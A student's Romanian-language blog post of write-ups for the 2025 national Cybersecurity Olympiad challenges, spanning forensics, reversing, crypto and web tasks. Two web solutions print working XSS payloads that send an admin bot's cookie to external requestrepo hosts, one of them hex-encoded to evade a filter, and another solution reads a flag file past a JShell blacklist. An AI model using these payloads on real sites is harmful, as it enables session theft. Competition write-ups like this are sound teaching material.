Post

Olimpiada de Securitate Cibernetică 2025, faza națională

Olimpiada de Securitate Cibernetică 2025, faza națională

Introducere

Recent am avut ocazia de a participa la faza națională a Olimpiadei de Securitate Cibernetică unde am reușit să obțin un rezultat bun datorită muncii depuse de-a lungul anului. Pentru mine această olimpiadă este dovada că perseverența și comunitatea sunt mai importante decât un premiu. De asemenea, am avut oportunitatea de a cunoaște alți elevi pasionați cu care încă țin legătura. Voi realiza această postare în limba română deoarece o consider relevantă pentru cititorii acestui articol destinat elevilor care doresc să participe pentru prima dată la această olimpiadă sau să obțină un rezultat mai bun și chiar să participe la alte competiții de tip CTF.

Anul acesta am observat creșterea dificultății ceea ce înseamnă creșterea performanței în cadrul olimpiadei. Challengeurile au fost foarte interesante și diverse, oferind șanse tuturor participanților indiferent de categoria lor preferată.

zodiac

Categorii: Misc, Forensics

Descriere

1
Trebuie sa gasesti locul unde se ascunde zodiac killer si sa-l aduci in fata justitiei. Am interceptat de pe "usb mouse" data de cand a folosit un internet cafe pentru a "vizualiza" urmatorul loc de munca.

Acest challenge presupune analiza unui fișier de tip pcap și extragerea datelor relevante(payloaduri UDP care conțin informații despre acționarea unui mouse usb).

Soluție

Observăm că avem ASCII-CSV mouse-logging trimis prin protocolul UDP. Fiecare payload este structurat astfel:

1
<timestampepoch>,<x>,<y>,<leftPressed>,<rightPressed>

Extragem toate payloadurile UDP din pcap folosind tshark:

1
2
3
4
tshark -r sample.pcap \
  -Y "udp.port==9999" \
  -T fields -e data \
| tr -d '\r' > payloads.hex

Apoi utilizăm acest script de python pentru a obține plotul mouseului:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import matplotlib.pyplot as plt

xs = []
ys = []

with open("payloads.hex") as f:
    for line in f:
        line = line.strip()
        if not line:
            continue

        try:
            raw = bytes.fromhex(line)
            s = raw.decode("ascii")
        except Exception:
            continue

        parts = s.split(",")
        if len(parts) < 3:
            continue
        if parts[0].lower().startswith("timestamp"):
            continue

        try:
            x = int(round(float(parts[1])))
            y = int(round(float(parts[2])))
        except ValueError:
            continue

        xs.append(x)
        ys.append(y)

plt.figure(figsize=(6,6))
plt.plot(xs, ys, linewidth=2)
plt.axis("off")
plt.gca().invert_yaxis()  
plt.tight_layout()
plt.show()

Acesta este plotul obținut: image1.png

Flagul este: ctf{secretplacewukong'sden}

executorul

Categorii: Misc

Descriere

1
Executorul nu merge de mai multe ori la apă.

Primim un fișier main.py care rulează remote și execută cod Java folosind JShell.

Soluție

Dockerfileul ne spune că fișierul căutat se află în /tmp/flag.txt, așa că folosim JShell să citim byte cu byte din acel fișier fără a folosi elemente din blacklist, \\, try și class:

1
static{jdk.jshell.JShell js=jdk.jshell.JShell.builder().out(System.out).err(System.err).build();js.eval("for(byte b:java.nio.file.Files.readAllBytes(java.nio.file.Path.of(new String(new char[]{'/','t','m','p','/','f','l','a','g','.','t','x','t'}))))System.out.write(b);");}

Flag: OSC{260bb074254fdcf2ab77a4b09339fbdb60c451161edaf46e6df60e0f342730cb}

virtual - Flag 1

Categorii: Reverse Engineering, Pwn

Descriere

1
2
3
4
5
6
Nimic nu este real. Nici macar acest bytecode.

Acest challenge are 2 parti:

- primul flag este gasit prin a face reverse la bytecode-ul dat (nu e nevoie de remote)
- al doilea flag este gasit prin a te conecta la instanta de remote si a da submit unui bytecode care va duce la un reverse shell

Primim:

  • un ELF 64‑bit (virtual) care construiește şi rulează un mini‑VM;
  • un fişier byte‑code (bytecode.bin) care conţine logica de verificare a flag‑ului.

La execuţie programul face:

  1. copiază argumentul ‹flag› în vm.memory[128 … 128+len], câte un caracter pe cuvânt (4 octeţi);
  2. interpretează byte‑code‑ul;
  3. la sfârşit afişează
    „Not this time…” dacă una dintre verificări eşuează respectiv „Congrats!” dacă toate trec.

În acest write-up voi vorbi doar despre rezolvarea primei părți a problemei.

Soluție

Anatomia VM‑ului

Secţiune Mărime Observaţii
Registre 8 × 32‑bit regs[0…7]
Memorie 256 cuvinte × 32‑bit memory[0…255]
Instrucţiuni MOV, LDR, STR, ADD, SUB, MUL, RET Opcode‑uri 0 – 7
Şablonul de verificare (2 caractere)
1
2
3
4
5
6
7
8
LDR r0, 128+i      ; x
LDR r1, 128+i+1    ; y
SUB r2, r0, r1     ; r2 =  x − y   trebuie să fie  C0
MUL r3, r0, r1     ; r3 =  x · y   trebuie să fie  C1
CMP r2, C0
JNE fail
CMP r3, C1
JNE fail

Rezultă 14 blocuri identice → flag-ul are 14 × 2 = 28 caractere.


Constante

În IDA căutăm perechi de MOV rX, imm32 care preced compararea cu r2 şi r3. Obţinem lista («dp»):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(-17,  5628)   # 'C' (67)  – 'T' (84)
(-53,  8610)   # 'F' (70)  – '{' (123)
( 69,  5782)   # 'v' (118) – '1' (49)
( -2, 13224)   # 'r' (114) – 't' (116)
( 65,  6084)   # 'u' (117) – '4' (52)
( 13, 10260)   # 'l' (108) – '_' (95)
( 57,  5668)   # 'm' (109) – '4' (52)
( -5, 10296)   # 'c' (99)  – 'h' (104)
(-61,  5390)   # '1' (49)  – 'n' (110)
(-44,  4845)   # '3' (51)  – '_' (95)
( 57,  5668)   # 'm' (109) – '4' (52)
( -1, 13340)   # 's' (115) – 't' (116)
(-63,  5814)   # '3' (51)  – 'r' (114)
( -4, 15125)   # 'y' (121) – '}' (125)

Model matematic

Pentru fiecare bloc avem două ecuaţii necunoscute x şi y (reprezentările ASCII ale celor două caractere testate):

\[\begin{cases} x - y = d\\[4pt] x \cdot y = p \end{cases} \Longrightarrow x^{2} - d\,x - p = 0\]

unde d = C0, p = C1.

Discriminantul este

\[\Delta = d^{2} + 4p.\]

Pentru a exista soluţii întregi ➜ Δ trebuie să fie pătrat perfect. Rădăcinile sunt

\[x_{1,2}=\frac{d \pm \sqrt{\Delta}}{2},\qquad y = x - d.\]

Filtrăm perechile (x,y) care sunt printabile ASCII
32 ≤ x,y ≤ 126 ).


Scriptul de extragere

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import math

# Perechile (d, p) extrase din bytecode:
blocks = [
    (-17,  5628),
    (-53,  8610),
    ( 69,  5782),
    ( -2, 13224),
    ( 65,  6084),
    ( 13, 10260),
    ( 57,  5668),
    ( -5, 10296),
    (-61,  5390),
    (-44,  4845),
    ( 57,  5668),
    ( -1, 13340),
    (-63,  5814),
    ( -4, 15125),
]

flag_chars = []

for idx, (d, p) in enumerate(blocks):
    # discriminant = d^2 + 4*p
    Δ = d*d + 4*p
     = math.isqrt(Δ)
    if * != Δ:
        raise ValueError(f"Blocul {idx}: discriminant Δ={Δ} nu e pătrat perfect")

    # rădăcinile ecuației x^2 - d*x - p = 0
    x1 = (d + ) // 2
    x2 = (d - ) // 2

    # verificăm fiecare soluție și o ținem pe cea printabilă
    cand = []
    for x in (x1, x2):
        y = x - d
        if 32 <= x <= 126 and 32 <= y <= 126:
            cand = [x, y]
            break

    if not cand:
        raise ValueError(f"Blocul {idx}: nu am găsit pereche printabilă (d={d}, p={p})")

    flag_chars.extend(cand)

flag = ''.join(chr(c) for c in flag_chars)
print(flag)

Flagul final este: CTF{v1rtu4l_m4ch1n3_m4st3ry}

friendly-notes

Categorii: Web

Descriere

1
Notele secrete sunt cele mai bune. Ele nici macar nu musca, dar s-ar putea sa plangi daca pierzi accesul catre acestea.

Primim codul sursă pentru un website în care un utilizator poate crea notițe și să le trimită unui admin(bot). Scopul este exfiltrarea cookieului adminului prin XSS.

Soluție

Analizăm codul sursă și răspundem la întrebarea teoretică, bazându-ne pe următoarea secvență de cod relevantă:

1
2
3
    const rawCreator = '{{ note.creator|e }}';
    safeCreator = DOMPurify.sanitize(rawCreator); // DOMPurify is safe I promise
    const rawContent = `{{ note.content|e }} \n\n${safeCreator}'s secret note.`;

Deci, dacă inchidem cu `, putem executa cod javascript ceea ce înseamnă ca avem o vulnerabilitate de tip XSS.

1
2
3
4
5
Q2. De ce este vulnerabilitatea `XSS` posibila? (Points: 25)
- pentru ca package-ul `bottle` gestioneaza datele trimise de utilizator incorect
- din cauza ca datele trimise de user nu sunt verificate
- datorita implementarii gresite a DOMpurify
- din cauza ca poti scapa din limitele template-ului

Raspunsul corect este: din cauza ca poti scapa din limitele template-ului.

Putem executa cod javascript, dar nu putem exfiltra direct cookieul. Pentru asta ne folosim de ruta /admin/test(SSTI) pentru a evalua {{request.cookies.FLAG}} cu argumentul test, observată în această secvență de cod:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.route("/admin/test")
@jwt_auth_middleware
def admin_test_template():
    username = verify_jwt(request.get_cookie("jwt_token"))
    if username != ADMIN_USERNAME:
        return redirect(f"/")
    
    testString = request.GET.get("test", "").strip()

    try:
        template = Template(testString)
        rendered_output = template.render(username=username, request=request, csp_nonce=temp_csp_nonce)
    except:
        rendered_output = f"⚠️ Error"

    return rendered_output

Payloadul final este:

1
`;fetch(`/admin/test?test={{request.cookies.FLAG}}`).then(function(r){return r.text()}).then(function(f){location=`https://0wltqmp9.requestrepo.com//?flag=${encodeURIComponent(f)}`});//

Interceptăm traficul în Burp și accesăm ruta /share/18ba8450b81d60db832466f61f575ebb unde punem idul interceptat în Burp al notiței create. Primim request cu flagul pe requestrepo: image2.png

După ce rulăm exploitul pe remote, flagul este: CTF{wh0s_4_g00d_b0y?}

siege

Categorii: Cryptography

Descriere

1
Se spune că un artefact digital fusese ascuns în spatele a cinci sigilii numerice, fiecare creat de un zar antic — previzibil, dar periculos. Cine a reușit să întoarcă timpul și să ghicească aruncările, a descuiat comoara.

Primim un fișier main.py și un output.txt și trebuie să spargem sistemul criptografic nesigur. main.py generează cinci numere prime de 256 biți folosind un RNG cu seed mic (3–7 biți) și criptează o cheie AES cu exponentul 65537. output.txt conține N, C_key, IV-ul și ciphertext-ul flag-ului.

Soluție

Fiecare seed poate fi aflat rapid, pentru că spațiul de căutare este foarte mic (maxim $2^7 = 128$ valori). Pentru fiecare seed între 3 și 7 biți iterăm toate valorile posibile, generăm primul prim de 256 biți și verificăm dacă divide $N$. În acest fel factorizăm $N$ în cei cinci primi. Calculăm $\varphi(N)$ ținând cont de multiplicitățile primelor (dacă un prim apare $k$ ori, contribuția sa la $\varphi(N)$ este $p^{k-1}(p-1)$), apoi obținem

\[d = E^{-1} \bmod \varphi(N).\]

Cheia AES se recuperează ca

\[C_{\text{key}}^d \bmod N\]

și se folosește pentru a decripta flag-ul cu AES-CBC și unpad. Scriptul de decriptare este:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import math, random
from collections import Counter
from pathlib import Path
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import isPrime, inverse, long_to_bytes

E = 0x10001
N_hex, C_hex, iv_hex, ct_hex = Path("output.txt").read_text().strip().split()
N = int(N_hex, 16)
C = int(C_hex, 16)
iv = bytes.fromhex(iv_hex)
ct = bytes.fromhex(ct_hex)

primes, rem = [], N
for i in range(3, 8):
    for seed in range(1 << i):
        rng = random.Random(seed)
        while True:
            p = rng._randbelow(1 << 256) | 1
            if isPrime(p):
                break
        if rem % p == 0:
            primes.append(p)
            rem //= p
            break

phi = 1
for p, k in Counter(primes).items():
    phi *= (p - 1) * (p ** (k - 1))

d = inverse(E, phi)
aes_key = long_to_bytes(pow(C, d, N), 16)
flag = unpad(AES.new(aes_key, AES.MODE_CBC, iv).decrypt(ct), AES.block_size)
print(flag.decode())

Flag: OSC{5efca16a840359db72cae08a12d2784422f95d8afd12a64346e6ce4ea2431fb8}

groups

Categorii: Reverse Engineering

Descriere

1
Prietenul meu a creat o aplicatie cool, dar nu imi da o licenta valida pentru ea. Imi zice ca e cam devreme sa o impartaseasca cu lumea. Nu ma intereseaza, vreau sa o folosesc acum! Poti sa ma ajuti sa generez o licenta valida pentru ea?

În acest challenge avem un binar Go care implementează un mecanism de validare a unei “licenţe” compusă din patru grupuri de câte 4 litere (A–Z).

Soluție

Deschidem binarul în IDA, analizăm funcțiile principale și observăm ca programul:

  • Încarcă două constante, $P$ și $G$, de tip big.Int
  • Încarcă un tablou de patru constante publice licConsts[i] = G^{y_i} mod P
  • La validare, primește un șir de forma XXXX-YYYY-ZZZZ-WWWW, transformă fiecare grup de 4 litere într-un număr $0 \leq y_i \lt 26^4$, calculează $G^{y_i} \space mod \space P$ și compară cu licConsts[i]

Scopul nostru este să extragem $P$, $G$ și cele patru licConsts[i] direct din memorie cu GDB, apoi să rulăm un script de bruteforce care recuperează cele patru grupuri de litere.

Folosim go tool nm pentru a afla unde sunt în .data:

1
2
3
4
5
$ go tool nm ./groups | grep -E 'main\.P|main\.G|main\.licConsts'
bcce00 D main.P
bcce08 D main.G
bb92d0 D main.licConsts
735fe0 T main.main.Println.func1

Pornim GDB și setăm breakpoint la main:

1
2
3
4
$ gdb ./groups
(gdb) break main.main
Breakpoint 1 at 0x735fe0
(gdb) run

Aflăm adresa structului big.Int pentru P(adresele de memorie vor apărea diferit dacă rulăm din nou GDB deoarece acestea se schimbă):

1
2
(gdb) print/x main.P
$1 = 0xc0001244c0

Încărcăm cei 32 B ai structului big.Int:

1
2
3
(gdb) x/4gx 0xc0001244c0
0xc0001244c0: 0x0000000000000000  0x000000c000120250
0xc0001244d0: 0x0000000000000001  0x0000000000000001
  • word1(0x000000c000120250) = abs.ptr
  • word2(1) = abs.len

Extragem limb-ul pentru P:

1
2
(gdb) x/1gx 0xc000120250
0xc000120250: 0x7fffffffffffffbb

Astfel: P = 0x7FFFFFFFFFFFFFBB

Repetăm pentru main.G:

1
2
3
4
5
6
7
8
9
(gdb) print/x main.G
$2 = 0xc0001244e0

(gdb) x/4gx 0xc0001244e0
0xc0001244e0: 0x0000000000000000  0x000000c000120258
0xc0001244f0: 0x0000000000000001  0x0000000000000001

(gdb) x/1gx 0xc000120258
0xc000120258: 0x000000000000000a

Astfel: G = 0x0A

Extragem cele patru constante licConsts din slice:

1
2
3
(gdb) x/4gx &main.licConsts
0xbb92d0: 0x000000c000124500  0x0000000000000004
0xbb92e0: 0x0000000000000004  0x0000000000000000

Pointerii la cele patru big.Int sunt:

1
0xc000124500, 0xc000124540, 0xc000124580, 0xc0001245c0

Pentru fiecare:

licConsts[0]:

1
2
3
4
5
6
(gdb) x/4gx 0xc000124500
0xc000124500: 0x0000000000000000  0x000000c000120260
0xc000124510: 0x0000000000000001  0x0000000000000001

(gdb) x/1gx 0xc000120260
0xc000120260: 0x5a1a8c87327f3717

Rezultat: licConsts[0] = 0x5A1A8C87327F3717

licConsts[1]:

1
2
3
4
5
6
(gdb) x/4gx 0xc000124540
0xc000124540: 0x0000000000000000  0x000000c000120268
0xc000124550: 0x0000000000000001  0x0000000000000001

(gdb) x/1gx 0xc000120268
0xc000120268: 0x006c7da8027012d4

Rezultat: licConsts[1] = 0x006C7DA8027012D4

licConsts[2]:

1
2
3
4
5
6
(gdb) x/4gx 0xc000124580
0xc000124580: 0x0000000000000000  0x000000c000120270
0xc000124590: 0x0000000000000001  0x0000000000000001

(gdb) x/1gx 0xc000120270
0xc000120270: 0x6eedbd750f7e72f5

Rezultat: licConsts[2] = 0x6EEDBD750F7E72F5

licConsts[3]:

1
2
3
4
5
6
(gdb) x/4gx 0xc0001245c0
0xc0001245c0: 0x0000000000000000  0x000000c000120278
0xc0001245d0: 0x0000000000000001  0x0000000000000001

(gdb) x/1gx 0xc000120278
0xc000120278: 0x47ffcd9cc44c31ed

Rezultat: licConsts[3] = 0x47FFCD9CC44C31ED

Avem acum:

1
2
3
4
5
6
7
8
P = 0x7FFFFFFFFFFFFFBB
G = 0x0A
licConsts = [
  0x5A1A8C87327F3717,
  0x006C7DA8027012D4,
  0x6EEDBD750F7E72F5,
  0x47FFCD9CC44C31ED,
]

Script Python pentru recuperarea grupurilor:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from string import ascii_uppercase

P = int("7FFFFFFFFFFFFFBB", 16)
G = int("0A", 16)
C = [
    int("5A1A8C87327F3717", 16),
    int("006C7DA8027012D4", 16),
    int("6EEDBD750F7E72F5", 16),
    int("47FFCD9CC44C31ED", 16),
]

def y_to_group(y):
    grp = []
    for _ in range(4):
        grp.append(ascii_uppercase[y % 26])
        y //= 26
    return "".join(reversed(grp))

for i, Ci in enumerate(C):
    for y in range(26**4):
        if pow(G, y, P) == Ci:
            print(f"Group {i} =", y_to_group(y))
            break

Rezultat:

1
2
3
4
Group 0 = LSOX
Group 1 = OEEB
Group 2 = WOYQ
Group 3 = TWKW

Licență completă: LSOX-OEEB-WOYQ-TWKW

Deschidem serverul remote, introducem cheia și obținem flagul: CTF{2da92db2265b90fa037a625420a5717cb41a062942422120579c76c96166a834}

Răspunsurile la întrebările teoretice sunt: malloc(Q2), respectiv strcmp(Q3).

private-coms

Categorii: Network

Descriere

1
Există o comunicare scursă în acest fișier pcap. Găsește-o și obține flag-ul.

Primim un fișier private-coms.pcap și scopul este să exfiltrăm comunicarea scursă (fișier audio-mp3).

Soluție

Analizăm pachetele descrescător după lungimea lor și observam acest pachet: image3.png

Dacă ne uităm la payload observăm un header de fișier mp3: image4.png

Înseamnă că la pachetul cu numărul 7394 începe un fișier .mp3 transferat prin USB, analizăm cronologic pachetele si observăm pachetele relevante care arată în felul următor: image5.png

Extragem pachetele relevante (7394, 7400, 7406, 7412, 7418, 7424) cu tshark într-un singur fișier mp3:

1
2
3
4
5
6
tshark -r private-coms.pcap \    
  -Y "frame.number == 7394 || frame.number == 7400 || frame.number == 7406 || frame.number == 7412 || frame.number == 7418 || frame.number == 7424" \
  -T fields -e usb.capdata \
| tr -d ':' \
| xxd -r -p \
> coms.mp3

Ascultăm fișierul si obținem flagul: CTF{13ce08ba071d475d51694c2e60719a1fa8a7e13614e5fb98c43927f438dcb1b}

icseses

Categorii: Web

Descriere

1
Ce nume colorat! Încearcă și tu!

Ne este oferit codul sursă al unui website si scopul este sa exfiltrăm cookieul botului.

Soluție

Din păcate, nu am reușit să rezolv acest challenge în timpul competiției, dar l-am revăzut și mi-a fost de mare ajutor.

Metoda pe care am folosit-o nu a fost intenționată. Scopul este de a obține o vulnerabilitate de tip XSS prin randarea Mako Template(putem folosi ${}) și de a raporta numele botului de unde vom exfiltra cookieul. Pentru a putea executa cod javascript va trebui sa evităm caracterele din vectorul banned:

1
banned = ["s", "l", "(", ")", "self", "_", ".", "\"", "import", "eval", "exec", "os", ";", ",", "|"]

Metoda care a funcționat este encodarea hex a caracterelor care sunt interpretate de Mako fără a fi detectate ca interzise. Payloadul final este:

1
http://34.89.195.167:30530/?name_input=${%27\x3C\x73\x63\x72\x69\x70\x74\x3E\x66\x65\x74\x63\x68\x28\x60\x68\x74\x74\x70\x3A\x2F\x2F\x38\x66\x79\x68\x37\x64\x70\x39\x2E\x72\x65\x71\x75\x65\x73\x74\x72\x65\x70\x6F\x2E\x63\x6F\x6D\x2F\x3F\x63\x3D\x24\x7B\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x63\x6F\x6F\x6B\x69\x65\x7D\x60\x29\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E%27}

Decodat, se va executa următorul cod în javascript:

1
<script>fetch(`https://8fyh7dp9.requestrepo.com/?c=${document.cookie}`)</script>

Dacă verificăm requestrepo după raportarea numelui către admin, obținem flagul.

Concluzie

Participarea la faza națională a OSC m-a învățat că perseverența și colaborarea sunt esențiale în securitate cibernetică. Fiecare exercițiu m-a ajutat să îmi dezvolt abilitățile tehnice, iar schimbul de idei cu alți pasionați a fost cel mai valoros. Dacă vrei să te pregătești pentru competiții, exersează constant, documentează-ți munca și nu ezita să ceri ajutor. În final, mai important decât un premiu este progresul pe care îl faci și comunitatea pe care o construiești.

This post is licensed under CC BY 4.0 by the author.